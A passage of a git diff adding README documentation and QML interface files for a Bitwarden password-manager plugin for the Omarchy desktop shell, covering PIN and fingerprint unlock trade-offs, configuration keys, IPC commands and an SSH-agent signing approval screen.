eye, and each reveals independently | +| a | Save every **a**ttachment on this item | +| e | Edit this item | +| x | Delete this item (asks first) | +| b / q / Esc | Back to the list | + +### Filter Drawer (Folders / Organizations / Types) + +| Shortcut | Action | +| :--- | :--- | +| f / o / t | Open (or close) that drawer | +| ↑ / ↓ | Move through the options | +| Enter | Apply the highlighted option | +| Esc | Close without changing anything | + +The cursor starts on the option already in effect, so Enter never changes a filter by accident. + +### Settings Screen + +| Shortcut | Action | +| :--- | :--- | +| ↑ / ↓ | Move between settings | +| ← / → | Decrease / increase a number by its step, or switch a toggle off / on | +| Enter | Flip the highlighted toggle, or open the PIN / fingerprint form | +| Esc | Back | + +### Send Screen + +| Shortcut | Action | +| :--- | :--- | +| Alt+s | Open Sends | +| n | New Send | +| r | Refresh the list | +| x | Delete the highlighted Send | +| Enter | Copy the highlighted Send's link | +| Esc | Back | + +--- + +--- + +## Optional features + +### PIN unlock + +Turn on **Unlock with PIN** in the settings screen. You are asked for your master password once (it is needed to encrypt) and for a PIN. Six digits or more is what the screen asks for; four and five are accepted but shown in red with the number of combinations spelled out, so a weak PIN is a decision rather than an accident. + +**How it differs from fingerprint unlock.** Fingerprint unlock keeps your master password in the login keyring in the clear, because PAM can only prove presence. A PIN can do better: the master password is encrypted with a key derived from the PIN (PBKDF2-SHA256, 600,000 iterations, salted) and only the ciphertext is stored, so reading the keyring is not by itself enough. A wrong PIN fails decryption, which means correctness needs no stored hash and there is no hash to attack. + +**The honest limit.** A short PIN is a small search space, and if the ciphertext leaks, the iteration count is the only thing standing between an attacker and your master password. Five wrong attempts at the panel deletes the stored ciphertext, but that is a UI throttle and does nothing against an offline attack on a copy of the blob. Concretely: 4 digits is 10,000 candidates, which is minutes of offline guessing even at 600,000 PBKDF2 rounds each; 6 digits is 1,000,000, and 8 is 100,000,000. Pick accordingly. + +The stored ciphertext is removed when you turn the setting off, after five wrong attempts, or when the vault rejects the decrypted password (for example after a master password change). + +### Fingerprint unlock + +Set `fingerprintUnlock` to `true` to unlock the vault with a finger instead of your master password. + +**Requirements** + +- A fingerprint reader with at least one enrolled finger, configured through `omarchy setup security fingerprint`. The plugin verifies all of this itself (`/etc/pam.d/omarchy-lock-fingerprint`, `fprintd-list`) and silently stays hidden when any part is missing. +- A running, unlocked OS keyring, as used by `rememberSession`. Omarchy ships libsecret itself, so there is nothing to install for this. + +**How it works** + +1. Switch **Unlock with fingerprint** on in the settings screen. It asks for your master password once -- the same way setting a PIN does -- and stores it in the login keyring under `service=qs-bitwarden-cli, account=master_password`. +2. On every later lock, opening the panel arms the reader. A verified fingerprint releases the stored password to `bw unlock`; the password field remains available as a fallback at all times. +3. Unlocking with your master password afterwards refreshes the stored copy, so changing your master password does not silently strand the enrolment. + +**Security trade-off -- read before enabling** + +PAM can prove that you are present, but it cannot produce your Bitwarden master password, and `bw unlock` accepts nothing else. Fingerprint unlock therefore keeps your master password in the OS login keyring and treats a verified fingerprint as the gate on reading it back. This is the same trade the official Bitwarden desktop client makes for its own biometric unlock, and it means **anyone who can read your unlocked login keyring can read your master password**. It is off by default and worth leaving off on a shared or unattended machine. + +The stored password is removed when you turn the setting off, press **Forget Fingerprint** on the locked screen, log out of the account, or when the vault rejects it (for example after a master password change, which then prompts you for the new one). + +### SSH agent + +Off by default. See **[docs/ssh-agent.md](docs/ssh-agent.md)** for setup, the +provenance check, and what the agent does and does not protect. + +--- + +## Bar placement + +`--enable` already puts the widget in the bar. To move it: + +```bash +omarchy bar move io.github.elevate08.qs-bitwarden-cli --section right +``` + +Settings are editable from the panel's own settings screen, or directly in +`~/.config/omarchy/shell.json`. Each setting lives **inline on the bar entry**, +not in a separate block: + +```json +{ + "bar": { + "layout": { + "right": [ + { + "id": "io.github.elevate08.qs-bitwarden-cli", + "autoLockMinutes": 15, + "lockOnScreenLock": true, + "lockOnSuspend": true, + "clearClipboardSec": 30, + "rememberSession": true, + "fingerprintUnlock": false, + "sshAgentEnabled": false, + "sshAgentApprovalPopup": true + } + ] + } + } +} +``` + +## Global hotkey + +To toggle the Bitwarden panel with a keyboard shortcut (e.g. `SUPER + CTRL + /`), add the binding to `~/.config/hypr/bindings.lua`: + +```lua +o.bind("SUPER + CTRL + SLASH", "Bitwarden vault", "omarchy-shell io.github.elevate08.qs-bitwarden-cli toggle") +``` + +Apply changes by restarting the shell: + +```bash +omarchy restart shell +``` + +--- + +## Configuration Reference + +The following settings are read from the plugin's own entry in the +`bar.layout` array of `~/.config/omarchy/shell.json` -- inline alongside its +`id`, as shown above. The panel's settings screen writes them for you via +`omarchy bar set`, so editing the file by hand is optional: + +| Key | Type | Default | Description | +| :--- | :--- | :--- | :--- | +| `autoLockMinutes` | `number` | `15` | Minutes of inactivity before automatically locking the vault (`0` to disable). Range `0`-`1440`; out of range is clamped and an unreadable value falls back to `15`. | +| `clearClipboardSec` | `number` | `30` | Seconds before automatically clearing copied secrets from the clipboard (`0` to disable). Range `0`-`300`; out of range is clamped and an unreadable value falls back to `30`. | +| `lockOnScreenLock` | `boolean` | `true` | Lock the vault as soon as the screen locks, rather than waiting out `autoLockMinutes`. Reads the Omarchy lock screen's own state, so it follows a manual lock and an idle lock alike. A shell without the lock plugin simply never reports a lock; it is never read as one. | +| `lockOnSuspend` | `boolean` | `true` | Lock the vault when the machine is going to sleep, so no unlocked session key is left in the suspended machine's memory. Holds a `delay` sleep inhibitor for about a second so the lock finishes first. Needs `gdbus` (glib2) and `systemd-inhibit`; without them the setting is simply inert. | +| `rememberSession` | `boolean` | `true` | Persist session token in OS keyring (`secret-tool`) while unlocked. Survives a shell restart, never a reboot -- see the note above. | +| `autoCopyTotpSec` | `number` | `3` | Seconds after password copy to automatically replace clipboard with TOTP code (`0` to disable). Range `0`-`30`; out of range is clamped and an unreadable value falls back to `3`. | +| `closeOnCopy` | `boolean` | `true` | Automatically close panel on Enter copy so target application receives focus immediately. | +| `suggestOnOpen` | `boolean` | `true` | Automatically suggest matching vault items for the active window or browser tab on open. | +| `fingerprintUnlock` | `boolean` | `false` | Unlock the vault with an enrolled fingerprint. Stores your master password in the OS login keyring -- see [Optional: Fingerprint Unlock](#fingerprint-unlock). | +| `pinUnlock` | `boolean` | `false` | Unlock with a numeric PIN. Stores the master password encrypted under a PIN-derived key -- see [Optional: PIN Unlock](#pin-unlock). | +| `sshAgentEnabled` | `boolean` | `false` | Serve your vault's SSH keys to `ssh`, Git and signing while the vault is unlocked. Starts a helper process and a socket under `$XDG_RUNTIME_DIR`; private keys stay in that helper and are dropped on lock -- see [SSH Agent](docs/ssh-agent.md). | +| `sshAgentUnlockOnDemand` | `boolean` | `false` | Let an identity listing raise the unlock prompt when the vault is locked and no keys have been loaded yet, instead of answering with an empty list. Signing a key the helper already knows always raises the prompt, with or without this. Off by default: `ssh` asks the agent for identities on every connection, so this raises the configured approval surface on the first `ssh` after every login. | +| `sshAgentApprovalPopup` | `boolean` | `true` | Show SSH unlock and signing requests in a transient card in the middle of the screen instead of opening the anchored panel. Disable to show prompts in the panel. Multiple concurrent requests are queued sequentially with a "1 of N" counter and "Deny all" option. Escape and outside click deny. | +| `sshAgentApprovalWindowSec` | `number` | `120` | How long one approval keeps covering further signatures from the same program with the same key. Range `0`-`900`; `0` asks every time. Held in memory only and dropped on lock, logout or exit. | + +One further key, `twoFactorMethods`, is written to the same entry but is not a +setting you configure. It records which two-step method last logged each +account in, keyed by login address -- `{"you@example.com": 0}`, where `0` is +authenticator, `1` email and `3` YubiKey -- so an account with more than one +method is asked only once, and two vaults on one machine each keep their own +answer. **Change method** on the code screen asks again and rewrites it. Entries +are capped at ten accounts, and anything unreadable is treated as not +remembered, which costs that account one extra prompt. + +Learned suggestions are stored separately in `~/.local/state/qs-bitwarden-cli/associations.json`. Delete that file to reset everything the panel has learned; logging out deletes it for you. + +--- + +--- + +## IPC & Scripting Interface + +You can control and query the Bitwarden plugin from the terminal, scripts, or window manager bindings. The form is `omarchy-shell `: + +```bash +# Show, hide, or toggle the popup panel +omarchy-shell io.github.elevate08.qs-bitwarden-cli open +omarchy-shell io.github.elevate08.qs-bitwarden-cli close +omarchy-shell io.github.elevate08.qs-bitwarden-cli toggle + +# Jump straight to a screen +omarchy-shell io.github.elevate08.qs-bitwarden-cli settings # -> "settings" +omarchy-shell io.github.elevate08.qs-bitwarden-cli setup # -> "setup" (dependency wizard) + +# Lock the vault immediately +omarchy-shell io.github.elevate08.qs-bitwarden-cli lock # -> "locked" + +# Sync with Bitwarden +omarchy-shell io.github.elevate08.qs-bitwarden-cli sync # -> "syncing" + +# Query vault state +omarchy-shell io.github.elevate08.qs-bitwarden-cli status # -> "unlocked" | "locked" | "unauthenticated" +``` + +`open`, `close` and `toggle` return nothing; the rest echo the state they moved to. + +Omarchy's shell-level dispatcher also toggles any plugin, and works equally well for a keybinding: + +```bash +omarchy-shell shell toggle io.github.elevate08.qs-bitwarden-cli +``` + +Only `toggle` exists at that level, though -- `omarchy-shell shell open|close ` answers `Function not found`, and `omarchy-shell shell call '{}'` answers `unknown`. Use the plugin-target form above for everything other than toggling. + +The same calls work through Quickshell directly, which is useful when `omarchy-shell` is not on `PATH`: + +```bash +qs -p /usr/share/omarchy/shell/shell.qml ipc call io.github.elevate08.qs-bitwarden-cli status +``` + +--- + +--- + +## Dependencies + +The helper's crates are updated by Dependabot under `versioning-strategy: +lockfile-only`, so a proposed bump only ever moves `agent/Cargo.lock` within +the bounds `agent/Cargo.toml` already allows. Crossing a major is a manual +edit, on purpose: several of the version floors in that manifest exist to keep +one copy of the RustCrypto traits in the graph, and Dependabot raising them +one at a time is what broke the build in PR #11. + +**The crypto stack moves together or not at all.** `ssh-key` and `rsa` +re-export the trait generation their callers must match, and `agent/src/lib.rs` +calls those traits directly -- `Verifier::verify`, `try_sign`, +`pkcs1v15::SigningKey`. Bump one crate without the others and cargo resolves +two versions side by side, at which point the traits stop unifying and +nothing compiles. The coupled set is `ssh-key`, `ssh-encoding`, +`ed25519-dalek`, `rsa`, `signature`, `sha2`/`digest`, `zeroize` and +`rand_core`; Dependabot groups them under `crypto` for the same reason. + +As of 2026-08-31 that upgrade is gated upstream: `ssh-key` is at `0.7.0-rc.11` +and `rsa` at `0.10.0-rc.18`, both still pre-release, and the stable releases +still pin the older generation. When they land, raise every crate in the set +in one commit and expect real source changes, not just a manifest edit. +Nothing will prompt you -- there are no `ignore` conditions to trip, because +cargo's own semver rules already hold `0.10` back from `0.11`. + +Every accepted bump, major or not, changes the shipped bytes and so needs the +binary rebuilt in the same change -- see the `needs-binary-rebuild` label: + +```bash +gh pr checkout +./scripts/build-agent.sh # re-enters the digest-pinned image +git commit -am "deps: rebuild the agent binary" && git push +``` + +CI never does this for you. `--compare-tracked` proves the committed bytes are +what the committed source builds; it cannot tell you whether that source is +trustworthy, and a malicious crate builds just as reproducibly as an honest +one. Reading the `Cargo.lock` diff before you commit the binary is the only +check that covers that, which is why the rebuild stays a human step. + +--- + +--- + +## More + +- **[Features in detail](docs/features.md)** -- every feature and why it works the way it does. +- **[SSH agent](docs/ssh-agent.md)** -- setup, verification, threat model. +- **[Uninstall](docs/uninstall.md)** -- including what to clear before removing the plugin. +- **[Development](docs/development.md)** -- linting and the test suite. +- **[Decisions](docs/decisions/)** -- the arguments that were had once and should not drift. + +--- + +## License + +MIT -- see [LICENSE](LICENSE). diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/SshAgentSettings.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/SshAgentSettings.qml new file mode 100644 index 0000000..4afbe83 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/SshAgentSettings.qml @@ -0,0 +1,253 @@ +import QtQuick +import qs.Commons +import qs.Ui +import "BitwardenModel.js" as Model + +// The SSH agent's own settings sections, lifted out of Panel.qml so that file +// is not the only place this feature can be read. +// +// Two separate things, deliberately drawn apart. The top half is what the +// feature is doing; the bottom half is whether the user's terminals will +// reach it. Neither one gates the other. The approval screen lives with the +// other screens in Panel.qml, because that is what it is. +// +// `panel` is the Panel root: this section reads its vault and agent state and +// calls back into it for every action. Nothing here holds state of its own. +Column { + id: section + + required property var panel + + // The bar's foreground and font family, not the global theme's -- the same + // values the rest of the panel draws with. PanelSectionHeader and Text both + // default to the globals, so every text element here states them. + component SshSectionHeader: PanelSectionHeader { + textFormat: Text.PlainText + foreground: section.panel.fg + fontFamily: section.panel.fontFamily + } + + component SshCaption: Text { + textFormat: Text.PlainText + width: parent ? parent.width : 0 + color: section.panel.dim + font.family: section.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + visible: panel.sshUiAvailable + width: parent.width + spacing: Style.space(6) + + Item { width: parent.width; height: Style.space(10) } + + SshSectionHeader { + text: "SSH AGENT STATUS" + } + + Row { + width: parent.width + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: panel.sshAgentSetup.state === "enabled" + ? (panel.sshAgentSetup.busy ? "󰔟" : "󰄬") + : (panel.sshAgentSetup.state === "error" ? "󰀪" : "󰅘") + color: panel.sshAgentSetup.state === "error" + ? panel.urgent + : (panel.sshAgentSetup.state === "enabled" && !panel.sshAgentSetup.busy ? Color.accent : panel.dim) + font.family: panel.fontFamily + font.pixelSize: Style.font.body + } + + SshCaption { + width: parent.width - Style.space(30) + text: panel.sshAgentSetup.message + color: panel.sshAgentSetup.state === "error" ? panel.urgent : panel.dim + } + } + + // Which helper is running. A developer with a local build and a + // user on a release see the same panel otherwise, and confusing + // the two wastes an afternoon. + SshCaption { + visible: panel.sshAgentHelper.source !== "" + text: "Using " + Model.sshAgentHelperSourceLabel(panel.sshAgentHelper.source) + + (panel.sshAgentHelper.checksum === "match" ? " (checksum verified)" : "") + color: panel.sshAgentHelper.source === "development" ? panel.urgent : panel.dim + } + + // Why the feature is unavailable, when it is. These are the + // failures a real clone produces: a stale binary, a dropped file + // mode, an LFS placeholder. + SshCaption { + visible: panel.sshAgentEnabled && panel.sshAgentHelper.message !== "" + text: panel.sshAgentHelper.message + color: panel.urgent + } + + // The helper's own version, once it has said hello. Non-secret, + // and the quickest way to tell a stale bundled binary apart from + // a working one. + SshCaption { + visible: panel.sshAgentVersion !== "" + text: "Helper version " + panel.sshAgentVersion + } + + // Routing is the thing most likely to be missing when the agent looks + // healthy and SSH still does not use it. Said here because this is the + // block a user reads first, and decided by the routing file rather than by + // this session's SSH_AUTH_SOCK -- see sshAgentRoutingNotice for why. + SshCaption { + visible: panel.sshAgentSetup.state === "enabled" && !panel.sshAgentSetup.busy + && panel.sshRoutingNotice.text !== "" + text: panel.sshRoutingNotice.text + color: panel.sshRoutingNotice.urgent ? panel.urgent : panel.dim + } + + Item { width: parent.width; height: Style.space(10) } + + SshSectionHeader { + text: "CLIENT ROUTING" + } + + SshCaption { + text: panel.sshRouting.message + color: panel.sshRouting.state === "matches" ? panel.dim : panel.fg + } + + // The check the user runs in the terminal they actually use -- + // which is the only place the answer is authoritative. + Text { + textFormat: Text.PlainText + width: parent.width + text: " " + panel.sshRouting.terminalCheck + color: Color.accent + font.family: panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WrapAnywhere + } + + SshCaption { + text: panel.uwsmFragment.message + } + + // Replacing the session's primary agent is a real decision, so the + // conflict is stated and confirmed rather than absorbed by the + // first click. + SshCaption { + visible: panel.uwsmConfirmPending + text: "This will make Bitwarden your session's SSH agent at the next login, replacing " + + (panel.sshRouting.owner !== "" ? panel.sshRouting.owner : "the one you have now") + + ". Continue?" + color: panel.urgent + } + + SshCaption { + visible: panel.uwsmFlash !== "" + text: panel.uwsmFlash + color: panel.fg + } + + // A Flow, because which of these four are showing is decided by the routing + // state: the idle pair and the confirming pair are each narrow enough, but + // nothing in a Row enforces that, and a Row answers a set that is too wide by + // laying the last button out past the panel edge rather than wrapping it. + Flow { + width: parent.width + spacing: Style.space(8) + + Button { + visible: !panel.uwsmConfirmPending && panel.uwsmFragment.state !== "managed" + text: "Route SSH Clients Here" + iconText: "󰌘" + tooltipText: "Write " + Model.uwsmFragmentDisplayPath() + " so the next login points SSH clients at this agent" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + enabled: !panel.uwsmBusy + onClicked: panel.beginUwsmSetup() + } + + Button { + visible: panel.uwsmConfirmPending + text: "Yes, Replace It" + iconText: "󰄬" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + enabled: !panel.uwsmBusy + onClicked: panel.beginUwsmSetup() + } + + Button { + visible: panel.uwsmConfirmPending + text: "Cancel" + iconText: "󰅘" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + onClicked: panel.cancelUwsmSetup() + } + + Button { + visible: !panel.uwsmConfirmPending && panel.uwsmFragment.removable + text: "Remove Routing File" + iconText: "󰩹" + tooltipText: "Delete " + Model.uwsmFragmentDisplayPath() + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + enabled: !panel.uwsmBusy + onClicked: panel.removeUwsmFragment() + } + } + Item { + visible: panel.sshGrants.length > 0 + width: parent.width + height: visible ? Style.space(10) : 0 + } + + SshSectionHeader { + visible: panel.sshGrants.length > 0 + text: "ACTIVE APPROVALS" + } + + // Every live grant, with the process it belongs to and what is + // left of it. A grant is a window in which signing happens with + // no prompt, so it has to be visible and revocable while it runs. + Repeater { + model: panel.sshGrants + + delegate: Row { + required property var modelData + width: parent.width + spacing: Style.space(8) + + SshCaption { + width: parent.width - Style.space(110) + text: modelData.keyName + " · " + + modelData.processName + + " · " + modelData.remainingLabel + } + + Button { + anchors.verticalCenter: parent.verticalCenter + text: "Revoke" + iconText: "󰩹" + fontFamily: panel.fontFamily + fontSize: Style.font.caption + onClicked: panel.revokeSshGrant(modelData.grantId) + } + } + } + + Button { + visible: panel.sshGrants.length > 1 + text: "Revoke All Approvals" + iconText: "󰩹" + tooltipText: "Drop every live approval; the next signature asks again" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + onClicked: panel.revokeAllSshGrants() + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalPopup.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalPopup.qml new file mode 100644 index 0000000..7c75b44 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalPopup.qml @@ -0,0 +1,163 @@ +import QtQuick +import Quickshell +import Quickshell.Wayland +import qs.Commons +import qs.Ui + +// A transient, centered SSH authorization surface. The full-screen layer +// window supplies the scrim, outside-click denial, and keyboard focus; only +// the compact card is visible. It is tied to the bar widget's screen but not +// positioned relative to the bar, so the plugin otherwise stays out of sight. +PanelWindow { + id: popup + + required property var panel + required property Item anchorItem + + readonly property bool open: panel.sshAgentApprovalPopup && (panel.sshPrompt !== null || panel.sshUnlockRequest !== null) + property bool focusPrimed: false + readonly property var anchorWindow: anchorItem ? anchorItem.QsWindow.window : null + readonly property int cardWidth: Math.max(1, Math.min(Style.space(460), width - Style.gapsOut * 2)) + readonly property int cardHeight: Math.max(1, Math.min( + content.implicitHeight + card.contentTopInset + card.contentBottomInset, + height - Style.gapsOut * 2)) + + function beginFocusPrime() { + if (open && backingWindowVisible) focusPrimeTimer.restart() + } + + function refocus() { + if (!open) return + Qt.callLater(function() { + if (!popup.open) return + if (popup.panel.sshPrompt) approvalScreen.focusDefault() + else unlockScreen.focusDefault() + }) + } + + screen: anchorItem && anchorItem.QsWindow.window ? anchorItem.QsWindow.window.screen : null + visible: open + color: "transparent" + exclusionMode: ExclusionMode.Ignore + + WlrLayershell.namespace: "qs-bitwarden-ssh-approval" + WlrLayershell.layer: WlrLayer.Overlay + // Prime focus briefly so keyboard-summoned requests reliably receive it, + // then settle to OnDemand so another monitor is not pointer-blocked. + WlrLayershell.keyboardFocus: open + ? (focusPrimed ? WlrKeyboardFocus.OnDemand : WlrKeyboardFocus.Exclusive) + : WlrKeyboardFocus.None + + anchors { + top: true + bottom: true + left: true + right: true + } + + onBackingWindowVisibleChanged: beginFocusPrime() + onOpenChanged: { + if (open) { + focusPrimed = false + beginFocusPrime() + refocus() + } else { + focusPrimeTimer.stop() + focusPrimed = false + } + } + + Connections { + target: popup.panel + function onSshPromptChanged() { popup.refocus() } + function onSshUnlockRequestChanged() { popup.refocus() } + function onStatusChanged() { popup.refocus() } + } + + Timer { + id: focusPrimeTimer + interval: 75 + repeat: false + onTriggered: { + popup.focusPrimed = true + popup.refocus() + } + } + + Rectangle { + anchors.fill: parent + color: Color.menu.scrim + } + + MouseArea { + anchors.fill: parent + onClicked: popup.panel.denySshRequest() + } + + BorderSurface { + id: card + width: popup.cardWidth + height: popup.cardHeight + anchors.centerIn: parent + radius: Style.cornerRadius + color: Color.popups.background + borderSpec: Border.surfaceSpec("popups", "border", Color.popups.border, + Math.max(1, Style.space(2))) + padding: Style.spacing.panelPadding + + // Swallow clicks on unused card space; only a click outside the card is a + // denial. Interactive children declared below remain above this catcher. + MouseArea { anchors.fill: parent; onClicked: {} } + + Item { + id: keyScope + anchors.fill: parent + anchors.topMargin: card.contentTopInset + anchors.rightMargin: card.contentRightInset + anchors.bottomMargin: card.contentBottomInset + anchors.leftMargin: card.contentLeftInset + focus: popup.open + + Keys.priority: Keys.BeforeItem + Keys.onPressed: function(event) { + if (event.key === Qt.Key_Escape) { + if (!(event.modifiers & ~Qt.KeypadModifier)) { + popup.panel.denySshRequest() + event.accepted = true + } else if (event.modifiers & Qt.ShiftModifier) { + popup.panel.denyAllSshRequests() + event.accepted = true + } + } + } + + Flickable { + id: scroller + anchors.fill: parent + contentWidth: width + contentHeight: content.implicitHeight + clip: true + flickableDirection: Flickable.VerticalFlick + boundsBehavior: Flickable.StopAtBounds + interactive: contentHeight > height + + Column { + id: content + width: scroller.width + + SshUnlockScreen { + id: unlockScreen + panel: popup.panel + active: popup.open && popup.panel.sshPrompt === null + } + + SshApprovalScreen { + id: approvalScreen + panel: popup.panel + active: popup.open && popup.panel.sshPrompt !== null + } + } + } + } + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalScreen.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalScreen.qml new file mode 100644 index 0000000..c2b9db8 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalScreen.qml @@ -0,0 +1,210 @@ +import QtQuick +import qs.Commons +import qs.Ui +import "BitwardenModel.js" as Model + +// SCREEN: SSH signing approval. +// +// The one place a signature is authorised. It states what the companion +// verified -- the requesting user -- and is explicit that everything else +// about the process is context rather than identity. +// +// `panel` is the Panel root. This screen holds no state: it draws the pending +// request and calls back for the answer. +Column { + id: screen + + required property var panel + property bool active: panel.activeScreen === "sshApproval" + + // A signing decision should never open with an affirmative action focused. + // Both the anchored panel and the centered popup can call this after their + // window receives keyboard focus. + function focusDefault() { + if (screen.active && screen.visible) denyButton.forceActiveFocus() + } + + // The bar's foreground and font family rather than the global theme's, the + // same as every other text element in this panel. Text defaults to AutoText, + // so the format is stated even where the string is constant today. + component SshSectionHeader: PanelSectionHeader { + textFormat: Text.PlainText + foreground: screen.panel.fg + fontFamily: screen.panel.fontFamily + } + + component SshCaption: Text { + textFormat: Text.PlainText + width: parent ? parent.width : 0 + color: screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + visible: active && panel.sshPrompt !== null + width: parent.width + spacing: Style.space(12) + + PanelSeparator { + visible: !screen.panel.sshAgentApprovalPopup + width: parent.width + } + + Row { + width: parent.width + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: "󰌆" + color: Color.accent + font.family: panel.fontFamily + font.pixelSize: Style.font.body + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: "SSH signing request" + color: panel.fg + font.family: panel.fontFamily + font.pixelSize: Style.font.body + } + + Item { width: Math.max(0, parent.width - Style.space(panel.sshPendingCount > 1 ? 290 : 230)); height: 1 } + + Text { + textFormat: Text.PlainText + visible: panel.sshPendingCount > 1 + anchors.verticalCenter: parent.verticalCenter + text: "1 of " + panel.sshPendingCount + color: Color.accent + font.family: panel.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: panel.sshPromptRemainingSec + "s left" + color: panel.sshPromptRemainingSec <= 5 ? panel.urgent : panel.dim + font.family: panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + // Forwarding is rejected in v1. If one ever reaches here it is + // called out rather than shown as ordinary context, because the + // process named would not be the one using the signature. + SshCaption { + visible: panel.sshPrompt && panel.sshPrompt.forwardedWarning !== "" + text: panel.sshPrompt ? panel.sshPrompt.forwardedWarning : "" + color: panel.urgent + } + + SshCaption { + visible: panel.sshAgentLoadActive + text: Model.sshAgentLoadingNote() + } + + SshSectionHeader { + text: "KEY" + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: panel.sshPrompt ? panel.sshPrompt.keyName : "" + color: panel.fg + font.family: panel.fontFamily + font.pixelSize: Style.font.body + wrapMode: Text.WordWrap + } + + // The fingerprint is the value worth checking, so it is shown whole + // rather than elided. + SshCaption { + text: panel.sshPrompt ? panel.sshPrompt.fingerprint : "" + wrapMode: Text.WrapAnywhere + } + + SshSectionHeader { + text: "REQUESTED BY" + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: panel.sshPrompt + ? panel.sshPrompt.processName + : "" + color: panel.fg + font.family: panel.fontFamily + font.pixelSize: Style.font.body + wrapMode: Text.WordWrap + } + + SshCaption { + text: panel.sshPrompt ? panel.sshPrompt.processPath : "" + wrapMode: Text.WrapAnywhere + } + + SshCaption { + text: panel.sshPrompt ? panel.sshPrompt.provenanceNote : "" + } + + PanelSeparator { + visible: !screen.panel.sshAgentApprovalPopup + width: parent.width + } + + // Deny leads, and nothing is activated by a bare Enter: a stray + // keypress must not be able to sign. + Row { + width: parent.width + spacing: Style.space(8) + + Button { + id: denyButton + text: "Deny (Esc)" + iconText: "󰅘" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + focusable: true + onClicked: panel.denySshRequest() + } + + Button { + visible: panel.sshPendingCount > 1 + text: "Deny all (" + panel.sshPendingCount + ")" + iconText: "󰅙" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + focusable: true + onClicked: panel.denyAllSshRequests() + } + + Button { + text: "Approve once" + iconText: "󰄬" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + focusable: true + onClicked: panel.approveSshRequest(0) + } + } + + Button { + visible: panel.sshPrompt && panel.sshPrompt.grantOffered + text: panel.sshPrompt ? panel.sshPrompt.grantLabel : "" + iconText: "󰔟" + tooltipText: "Sign further requests from this same program with this key, without asking again, until the window expires" + fontFamily: panel.fontFamily + fontSize: Style.font.bodySmall + focusable: true + onClicked: panel.approveSshRequest(panel.sshPrompt ? panel.sshPrompt.grantSeconds : 0) + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/SshUnlockScreen.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/SshUnlockScreen.qml new file mode 100644 index 0000000..abe5130 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/SshUnlockScreen.qml @@ -0,0 +1,332 @@ +import QtQuick +import qs.Commons +import qs.Ui +import "BitwardenModel.js" as Model + +// The first step of an SSH request when the vault is locked. Uses the same +// layout, pulsing fingerprint animation, and unlock controls as the panel's +// unlock screen, while keeping the SSH request context visible. +Column { + id: screen + + required property var panel + property bool active: false + + visible: active && panel.sshUnlockRequest !== null + width: parent ? parent.width : 0 + spacing: Style.space(12) + + onVisibleChanged: if (!visible && eyeBtnUnlock) eyeBtnUnlock.revealed = false + onActiveChanged: if (!active && eyeBtnUnlock) eyeBtnUnlock.revealed = false + + component UnlockCaption: Text { + textFormat: Text.PlainText + width: parent ? parent.width : 0 + color: screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + function focusDefault() { + if (!screen.active || !screen.visible) return + screen.panel.prepareUnlock() + if (screen.panel.fingerprintReady) screen.panel.startFingerprintUnlock() + Qt.callLater(function() { + if (!screen.active || screen.panel.status !== "locked") return + if (screen.panel.pinReady) pinField.forceActiveFocus() + else passwordField.forceActiveFocus() + }) + } + + // Centered header matching Panel.qml Screen 2 + Column { + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(6) + + Text { + id: fingerprintIcon + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: screen.panel.fingerprintScanning ? "󰈷" : "󰌋" + color: screen.panel.fingerprintScanning ? Color.accent : screen.panel.fg + opacity: 0.85 + font.family: screen.panel.fontFamily + font.pixelSize: Style.space(38) + + SequentialAnimation on opacity { + running: screen.panel.fingerprintScanning + loops: Animation.Infinite + NumberAnimation { to: 0.35; duration: 700; easing.type: Easing.InOutQuad } + NumberAnimation { to: 0.95; duration: 700; easing.type: Easing.InOutQuad } + onStopped: fingerprintIcon.opacity = 0.85 + } + } + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: screen.panel.status === "unlocked" + ? "Loading SSH keys" + : (screen.panel.fingerprintReady ? "Unlock Vault" : "Enter Master Password") + color: screen.panel.fg + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.title + font.bold: true + } + + Text { + textFormat: Text.PlainText + visible: screen.panel.userEmail !== "" + anchors.horizontalCenter: parent.horizontalCenter + text: screen.panel.userEmail + color: screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + } + + UnlockCaption { + text: { + var request = screen.panel.sshUnlockRequest + var prefix = "Vault needs to be unlocked first: " + if (!request) return "Vault needs to 